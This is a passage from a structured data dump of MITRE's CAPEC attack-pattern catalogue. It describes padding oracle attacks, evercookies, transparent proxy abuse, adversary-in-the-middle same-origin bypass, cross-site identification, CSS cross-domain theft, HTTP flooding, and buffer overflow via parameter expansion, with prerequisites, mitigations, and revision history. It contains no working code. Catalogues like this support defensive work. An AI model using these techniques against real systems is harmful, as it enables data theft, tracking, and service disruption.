whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Any cryptosystem can be vulnerable to padding oracle attacks if the encrypted messages are not authenticated to ensure their validity prior to decryption, and then the information about padding error is leaked to the adversary. This attack technique may be used, for instance, to break CAPTCHA systems or decrypt/modify state information stored in client side objects (e.g., hidden fields or cookies). This attack technique is a side-channel attack on the cryptosystem that uses a data leak from an improperly implemented decryption routine to completely subvert the cryptosystem. The one bit of information that tells the adversary whether a padding error during decryption has occurred, in whatever form it comes, is sufficient for the adversary to break the cryptosystem. That bit of information can come in a form of an explicit error message about a padding error, a returned blank page, or even the server taking longer to respond (a timing attack). This attack can be launched cross domain where an adversary is able to use cross-domain information leaks to get the bits of information from the padding oracle from a target system / service with which the victim is communicating.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern25001 + Related_Attack_Pattern_25001 + + + + + + + + + + + + + + 97 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The decryption routine does not properly authenticate the message / does not verify its integrity prior to performing the decryption operation</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target system leaks data (in some way) on whether a padding error has occurred when attempting to decrypt the ciphertext.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The padding oracle remains available for enough time / for as many requests as needed for the adversary to decrypt the ciphertext.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Ability to detect instances where a target system is vulnerable to an oracle padding attack&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Sufficient cryptography knowledge and tools needed to take advantage of the presence of the padding oracle to perform decryption / encryption of data without a key&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use a message authentication code (MAC) or another mechanism to perform verification of message authenticity / integrity prior to decryption</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Do not leak information back to the user as to any cryptography (e.g., padding) encountered during decryption.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary sends a request containing ciphertext to the target system. Due to the browser's same origin policy, the adversary is not able to see the response directly, but can use cross-domain information leak techniques to still get the information needed (i.e., information on whether or not a padding error has occurred). This can be done using "img" tag plus the onerror()/onload() events. The adversary's JavaScript can make web browsers to load an image on the target site, and know if the image is loaded or not. This is 1-bit information needed for the padding oracle attack to work: if the image is loaded, then it is valid padding, otherwise it is not.</xhtml:div> + + + + + 209 + + + + + 514 + + + + + 649 + + + + + 347 + + + + + 354 + + + + + 696 + + + + + + + + + + + + #indReferenceReference25032 + Reference_25032 + + + + + + + + + REF-400 + + + + + + + + + + + + #indContentHistoryContentHistory25034 + Content_History_25034 + + + + + + + + + + + + + + + + #indSubmissionSubmission25035 + Submission_25035 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification25040 + Modification_25040 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Prerequisites, Description Summary + + + + + + + + + + + + #indModificationModification25046 + Modification_25046 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification25052 + Modification_25052 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification25058 + Modification_25058 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Description, Example_Instances, Mitigations + + + + + + + + + + + + #indModificationModification25064 + Modification_25064 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-464 + Evercookie + + + + + + + + + 464 + + + + + Evercookie + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker creates a very persistent cookie that stays present even after the user thinks it has been removed. The cookie is stored on the victim's machine in over ten places. When the victim clears the cookie cache via traditional means inside the browser, that operation removes the cookie from certain places but not others. The malicious code then replicates the cookie from all of the places where it was not deleted to all of the possible storage locations once again. So the victim again has the cookie in all of the original storage locations. In other words, failure to delete the cookie in even one location will result in the cookie's resurrection everywhere. The evercookie will also persist across different browsers because certain stores (e.g., Local Shared Objects) are shared between different browsers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The places a persistent cookie is stored on a victim's machine include: Standard HTTP Cookies, Local Shared Objects (Flash Cookies), Silverlight Isolated Storage, Storing cookies in RGB values of auto-generated, force-cached, PNGs using HTML5 Canvas tag to read pixels (cookies) back out, Storing cookies in Web History, Storing cookies in HTTP ETags, Storing cookies in Web cache, window.name caching, Internet Explorer userData storage, HTML5 Session Storage, HTML5 Local Storage, HTML5 Global Storage, HTML5 Database Storage via SQLite, among others.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern25079 + Related_Attack_Pattern_25079 + + + + + + + + + + + + + + 554 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim's browser is not configured to reject all cookiesThe victim visits a website that serves the attackers' evercookie</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Evercookie source code</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Browser's design needs to be changed to limit where cookies can be stored on the client side and provide an option to clear these cookies in all places, as well as another option to stop these cookies from being written in the first place.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Safari browser's private browsing mode is currently effective against evercookies.</xhtml:div> + + + + + 359 + + + + + + + + + + + + #indTaxonomyMappingForgeWebCredentialsWebCookies + Forge Web Credentials: Web Cookies + + + + + + + + + + + + + + 1606.001 + + + + + Forge Web Credentials: Web Cookies + + + + + + + + + + + + #indReferenceReference25101 + Reference_25101 + + + + + + + + + REF-401 + + + + + + + + + + + + #indContentHistoryContentHistory25103 + Content_History_25103 + + + + + + + + + + + + + + + + #indSubmissionSubmission25104 + Submission_25104 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification25109 + Modification_25109 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Description Summary, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification25115 + Modification_25115 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification25121 + Modification_25121 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification25127 + Modification_25127 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-465 + Transparent Proxy Abuse + + + + + + + + + 465 + + + + + Transparent Proxy Abuse + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A transparent proxy serves as an intermediate between the client and the internet at large. It intercepts all requests originating from the client and forwards them to the correct location. The proxy also intercepts all responses to the client and forwards these to the client. All of this is done in a manner transparent to the client.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Transparent proxies are often used by enterprises and ISPs. For requests originating at the client transparent proxies need to figure out the final destination of the client's data packet. Two ways are available to do that: either by looking at the layer three (network) IP address or by examining layer seven (application) HTTP header destination. A browser has same origin policy that typically prevents scripts coming from one domain initiating requests to other websites from which they did not come. To circumvent that, however, malicious Flash or an Applet that is executing in the user's browser can attempt to create a cross-domain socket connection from the client to the remote domain. The transparent proxy will examine the HTTP header of the request and direct it to the remote site thereby partially bypassing the browser's same origin policy. This can happen if the transparent proxy uses the HTTP host header information for addressing rather than the IP address information at the network layer. This attack allows malicious scripts inside the victim's browser to issue cross-domain requests to any hosts accessible to the transparent proxy.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern25142 + Related_Attack_Pattern_25142 + + + + + + + + + + + + + + 554 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Transparent proxy is usedVulnerable configuration of network topology involving the transparent proxy (e.g., no NAT happening between the client and the proxy)Execution of malicious Flash or Applet in the victim's browser</xhtml:div> + + + + + + + + + + + + #indSkillSkill25148 + Skill_25148 + + + + + + + + + + + + + + Creating malicious Flash or Applet to open a cross-domain socket connection to a remote system + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Ensure that the transparent proxy uses an actual network layer IP address for routing requests. On the transparent proxy, disable the use of routing based on address information in the HTTP host header.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Disable in the browser the execution of Java Script, Flash, SilverLight, etc.</xhtml:div> + + + + + 441 + + + + + + + + + + + + #indTaxonomyMappingProxyInternalProxy + Proxy: Internal Proxy + + + + + + + + + + + + + + 1090.001 + + + + + Proxy: Internal Proxy + + + + + + + + + + + + #indReferenceReference25164 + Reference_25164 + + + + + + + + + REF-402 + + + + + + + + + + + + #indContentHistoryContentHistory25166 + Content_History_25166 + + + + + + + + + + + + + + + + #indSubmissionSubmission25167 + Submission_25167 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification25172 + Modification_25172 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification25178 + Modification_25178 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #indModificationModification25184 + Modification_25184 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification25190 + Modification_25190 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification25196 + Modification_25196 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName25202 + Previous_Entry_Name_25202 + + + + + + + + + 2015-12-07 + + + + + Socket Capable Browser Plugins Result In Transparent Proxy Abuse + + + + + + + + + + + + #CAPEC-466 + Leveraging Active Adversary in the Middle Attacks to Bypass Same Origin Policy + + + + + + + + + 466 + + + + + Leveraging Active Adversary in the Middle Attacks to Bypass Same Origin Policy + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker leverages an adversary in the middle attack (CAPEC-94) in order to bypass the same origin policy protection in the victim's browser. This active adversary in the middle attack could be launched, for instance, when the victim is connected to a public WIFI hot spot. An attacker is able to intercept requests and responses between the victim's browser and some non-sensitive website that does not use TLS.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;When an attacker intercepts a response bound to the victim, an attacker adds an iFrame (which is possibly invisible) to the response referencing some domain with sensitive functionality and forwards the response to the victim. The victim's browser than automatically initiates an unauthorized request to the site with sensitive functionality. The same origin policy would prevent making these requests to a site other than the one from which the Java Script came, but the attacker once again uses active adversary in the middle to intercept these automatic requests and redirect them to the domain / service with sensitive functionality. Any persistent cookies that the victim has in their browser would be used for these unauthorized requests. The attacker thus actively directs the victim to a site with sensitive functionality. When the site with sensitive functionality responds back to the victim's request, an active adversary in the middle attacker intercepts these responses, injects their own malicious Java Script into these responses, and forwards to the victim's browser. In the victim's browser, that Java Script executes under the restrictions of the site with sensitive functionality and can be used to continue to interact with the sensitive site. So an attacker can execute scripts within the victim's browser on any domains the attacker desires. The attacker is able to use this technique to steal cookies from the victim's browser for whatever site the attacker wants. This applies to both persistent cookies and HTTP only cookies (unlike traditional XSS attacks). An attacker is also able to use this technique to steal authentication credentials for sites that only encrypt the login form, but do not require a secure channel for the initial request to get to the page with the login form. Further the attacker is also able to steal any autocompletion information. This attack pattern can also be used to enable session fixation and cache poisoning attacks. Additional attacks can be enabled as well.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern25215 + Related_Attack_Pattern_25215 + + + + + + + + + + + + + + 94 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim and the attacker are both in an environment where an active adversary in the middle attack is possible (e.g., public WIFI hot spot)The victim visits at least one website that does not use TLS / SSL</xhtml:div> + + + + + + + + + + + + #indSkillSkill25221 + Skill_25221 + + + + + + + + + + + + + + Ability to intercept and modify requests / responses + + + + + + + + + + + + #indSkillSkill25222 + Skill_25222 + + + + + + + + + + + + + + Ability to create iFrame and JavaScript code that would initiate unauthorized requests to sensitive sites from the victim's browser + + + + + + + + + + + + #indSkillSkill25223 + Skill_25223 + + + + + + + + + + + + + + Solid understanding of the HTTP protocol + + + + + + + + + + + + #indConsequenceConsequence25226 + Consequence_25226 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence25230 + Consequence_25230 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Tunnel communications through a secure proxy</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Trust level separation for privileged / non privileged interactions (e.g., two different browsers, two different users, two different operating systems, two different virtual machines)</xhtml:div> + + + + + 300 + + + + + + + + + + + + #indReferenceReference25243 + Reference_25243 + + + + + + + + + REF-403 + + + + + + + + + + + + #indContentHistoryContentHistory25245 + Content_History_25245 + + + + + + + + + + + + + + + + #indSubmissionSubmission25246 + Submission_25246 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification25251 + Modification_25251 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #indModificationModification25257 + Modification_25257 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description + + + + + + + + + + + + #indModificationModification25263 + Modification_25263 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Consequences, Description, Mitigations + + + + + + + + + + + + #indModificationModification25269 + Modification_25269 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated @Name, Description, Prerequisites + + + + + + + + + + + + #indModificationModification25275 + Modification_25275 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName25281 + Previous_Entry_Name_25281 + + + + + + + + + 2021-06-24 + + + + + Leveraging Active Man in the Middle Attacks to Bypass Same Origin Policy + + + + + + + + + + + + #CAPEC-467 + Cross Site Identification + + + + + + + + + 467 + + + + + Cross Site Identification + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;There are many other ways in which the attacker may get the payload to execute in the victim's browser mainly by finding a way to hide it in some reputable site that the victim visits. The attacker could also send the link to the victim in an e-mail and trick the victim into clicking on the link. This attack is basically a cross site request forgery attack with two main differences. First, there is no action that is performed on behalf of the user aside from harvesting information. So standard CSRF protection may not work in this situation. Second, what is important in this attack pattern is the nature of the data being harvested, which is identifying information that can be obtained and used in context. This real time harvesting of identifying information can be used as a prelude for launching real time targeted social engineering attacks on the victim.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern25291 + Related_Attack_Pattern_25291 + + + + + + + + + + + + + + 62 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim has an active session with the social networking site.</xhtml:div> + + + + + + + + + + + + #indSkillSkill25297 + Skill_25297 + + + + + + + + + + + + + + An attacker should be able to create a payload and deliver it to the victim's browser. + + + + + + + + + + + + #indSkillSkill25298 + Skill_25298 + + + + + + + + + + + + + + An attacker needs to know how to interact with various social networking sites (e.g., via available APIs) to request information and how to send the harvested data back to the attacker. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Usage: Users should always explicitly log out from the social networking sites when done using them.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Usage: Users should not open other tabs in the browser when using a social networking site.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker may post a malicious posting that contains an image with an embedded link. The link actually requests identifying information from the social networking site. A victim who views the malicious posting in their browser will have sent identifying information to the attacker, as long as the victim had an active session with the social networking site.</xhtml:div> + + + + + 352 + + + + + 359 + + + + + + + + + + + + #indReferenceReference25312 + Reference_25312 + + + + + + + + + REF-404 + + + + + + + + + + + + #indContentHistoryContentHistory25314 + Content_History_25314 + + + + + + + + + + + + + + + + #indSubmissionSubmission25315 + Submission_25315 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification25320 + Modification_25320 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification25326 + Modification_25326 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Description, Example_Instances, Mitigations + + + + + + + + + + + + #indModificationModification25332 + Modification_25332 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-468 + Generic Cross-Browser Cross-Domain Theft + + + + + + + + + 468 + + + + + Generic Cross-Browser Cross-Domain Theft + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker makes use of Cascading Style Sheets (CSS) injection to steal data cross domain from the victim's browser. The attack works by abusing the standards relating to loading of CSS: 1. Send cookies on any load of CSS (including cross-domain) 2. When parsing returned CSS ignore all data that does not make sense before a valid CSS descriptor is found by the CSS parser.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;By having control of some text in the victim's domain, the attacker is able to inject a seemingly valid CSS string. It does not matter if this CSS string is preceded by other data. The CSS parser will still locate the CSS string. If the attacker is able to control two injection points, one before the cross domain data that the attacker is interested in receiving and the other one after, the attacker can use this attack to steal all of the data in between these two CSS injection points when referencing the injected CSS while performing rendering on the site that the attacker controls. When rendering, the CSS parser will detect the valid CSS string to parse and ignore the data that "does not make sense". That data will simply be rendered. That data is in fact the data that the attacker just stole cross domain. The stolen data may contain sensitive information, such CSRF protection tokens.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern25348 + Related_Attack_Pattern_25348 + + + + + + + + + + + + + + 242 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">No new lines can be present in the injected CSS stringProper HTML or URL escaping of the " and ' characters is not presentThe attacker has control of two injection points: pre-string and post-string</xhtml:div> + + + + + + + + + + + + #indSkillSkill25354 + Skill_25354 + + + + + + + + + + + + + + Ability to craft a CSS injection + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacker controlled site/page to render a page referencing the injected CSS string</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Prior to performing CSS parsing, require the CSS to start with well-formed CSS when it is a cross-domain load and the MIME type is broken. This is a browser level fix.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform proper HTML encoding and URL escaping</xhtml:div> + + + + + 707 + + + + + 149 + + + + + 177 + + + + + 838 + + + + + + + + + + + + #indReferenceReference25370 + Reference_25370 + + + + + + + + + REF-405 + + + + + + + + + + + + #indContentHistoryContentHistory25372 + Content_History_25372 + + + + + + + + + + + + + + + + #indSubmissionSubmission25373 + Submission_25373 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification25378 + Modification_25378 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification25384 + Modification_25384 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification25390 + Modification_25390 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification25396 + Modification_25396 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-469 + HTTP DoS + + + + + + + + + 469 + + + + + HTTP DoS + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern25408 + Related_Attack_Pattern_25408 + + + + + + + + + + + + + + 227 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">HTTP protocol is usedWeb server used is vulnerable to denial of service via HTTP flooding</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ability to issues hundreds of HTTP requests</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Configure web server software to limit the waiting period on opened HTTP sessions</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use load balancing mechanisms</xhtml:div> + + + + + 770 + + + + + 772 + + + + + + + + + + + + #indTaxonomyMappingEndpointDenialOfServiceServiceExhaustionFlood + Endpoint Denial of Service: Service Exhaustion Flood + + + + + + + + + + + + + + 1499.002 + + + + + Endpoint Denial of Service: Service Exhaustion Flood + + + + + + + + + + + + #indReferenceReference25431 + Reference_25431 + + + + + + + + + REF-406 + + + + + + + + + + + + #indContentHistoryContentHistory25433 + Content_History_25433 + + + + + + + + + + + + + + + + #indSubmissionSubmission25434 + Submission_25434 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification25439 + Modification_25439 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification25445 + Modification_25445 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification25451 + Modification_25451 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification25457 + Modification_25457 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-47 + Buffer Overflow via Parameter Expansion + + + + + + + + + 47 + + + + + Buffer Overflow via Parameter Expansion + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this attack, the target software is given input that the adversary knows will be modified and expanded in size during processing. This attack relies on the target software failing to anticipate that the expanded data may exceed some internal limit, thereby creating a buffer overflow.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern25471 + Related_Attack_Pattern_25471 + + + + + + + + + + + + + + 100 + + + + + + + + + + + + #indAttackStepAttackStep25474 + Attack_Step_25474 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify target application] The adversary identifies a target application or program to perform the buffer overflow on. Adversaries often look for applications that accept user input and that perform manual memory management.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep25479 + Attack_Step_25479 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find injection vector] The adversary identifies an injection vector to deliver the excessive content to the targeted application's buffer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this attack, the normal method of providing large user input does not work. The program performs bounds checking on the user input, but not the expanded user input. The adversary needs to provide input that they believe will be expanded by the program to overflow a buffer. To identify where this is possible, an adversary either needs to have knowledge of the inner workings of the program or use a disassembler and other reverse engineering tools to guide the search.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep25485 + Attack_Step_25485 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft overflow content] The adversary crafts the input to be given to the program. If the intent is to simply cause the software to crash, the input needs only to expand to an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the adversary will craft input that expands in a way that not only overflows the targeted buffer but does so in such a way that the overwritten return address is replaced with one of the adversaries' choosing which points to code injected by the adversary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create specific files and directories on the system and then give input using path traversal shortcuts to those directories that could expand past an input buffer.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep25491 + Attack_Step_25491 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Overflow the buffer] Using the injection vector, the adversary gives the crafted input to the program, overflowing the buffer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The program expands one of the parameters passed to a function with input controlled by the user, but a later function making use of the expanded parameter erroneously considers the original, not the expanded size of the parameter.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The expanded parameter is used in the context where buffer overflow may become possible due to the incorrect understanding of the parameter size 